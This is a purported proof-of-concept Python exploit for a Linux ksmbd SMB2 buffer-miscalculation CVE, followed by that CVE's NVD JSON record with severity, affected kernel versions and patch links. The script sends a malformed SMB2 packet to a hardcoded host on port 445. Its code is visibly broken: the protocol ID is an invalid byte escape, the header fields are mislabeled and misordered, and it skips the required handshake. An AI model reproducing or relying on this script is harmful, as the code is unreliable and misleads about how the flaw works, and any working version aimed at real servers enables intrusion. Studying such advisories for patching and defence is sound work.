CVE-2026-31478

import socket import struct # Proof of Concept for CVE-2026-31478 # This script attempts to trigger the buffer miscalculation in ksmbd # by sending a malformed SMB2 compound request. TARGET_IP = "192.168.1.100" TARGET_PORT = 445 def create_malformed_smb2_packet(): # SMB2 Header smb2_header = b"\xFE\xSMB" # Protocol ID smb2_header += struct.pack("<H", 0x0204) # Structure Size (SMB2 COMPOUND) smb2_header += struct.pack("<H", 0) # Credit Charge smb2_header += struct.pack("<I", 0) # Status smb2_header += struct.pack("<H", 64) # Command (SMB2 IOCTL for testing) smb2_header += struct.pack("<H", 0) # Credits requested smb2_header += struct.pack("<I", 0) # Flags smb2_header += struct.pack("<I", 0) # Next command smb2_header += struct.pack("<Q", 0) # Message ID # The vulnerability is triggered when hdr2_len is hardcoded incorrectly. # We construct a packet that hits the smb2_calc_max_out_buf_len path. # Padding to trigger the specific offset calculation flaw payload = smb2_header + b"A" * 100 return payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Send Negotiate Protocol Request (Simplified for PoC structure) # In a real scenario, a full handshake is required before exploit print("[*] Sending malformed packet to trigger buffer miscalculation...") packet = create_malformed_smb2_packet() s.send(packet) response = s.recv(1024) print(f"[+] Received response: {response}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-31478", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:44.630", "lastModified": "2026-04-27T23:23:52.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: replace hardcoded hdr2_len with offsetof() in smb2_calc_max_out_buf_len()\n\nAfter this commit (e2b76ab8b5c9 \"ksmbd: add support for read compound\"),\nresponse buffer management was changed to use dynamic iov array.\nIn the new design, smb2_calc_max_out_buf_len() expects the second\nargument (hdr2_len) to be the offset of ->Buffer field in the\nresponse structure, not a hardcoded magic number.\nFix the remaining call sites to use the correct offsetof() value."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.145", "versionEndExcluding": "5.15.203", "matchCriteriaId": "120A3FBD-C86A-46F6-BD23-D862D4C6E574"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.71", "versionEndExcluding": "6.1.168", "matchCriteriaId": "C6118D40-41D5-46EF-9C28-382159147BC9"}, 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"references": [{"url": "https://git.kernel.org/stable/c/0e55f63dd08f09651d39e1b709a91705a8a0ddcb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4cb537ae4f37d7d0f617815ed4bed7173fb50861", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6aef1765d6807e0f027cd87f6ac973eb0879a46d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/70b4c414889492c522b6e4331562360f49be2361", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/80824c7e527b70cf9039534e60aff592e8f209d1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9a7166f0ef8cbb7bb48dd05e2471d995566003f5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c3a89e3ec1ccf64fa6a34e391e1581ebbcba8683", "source": "416baaa9-dc9f-4396-8d ... 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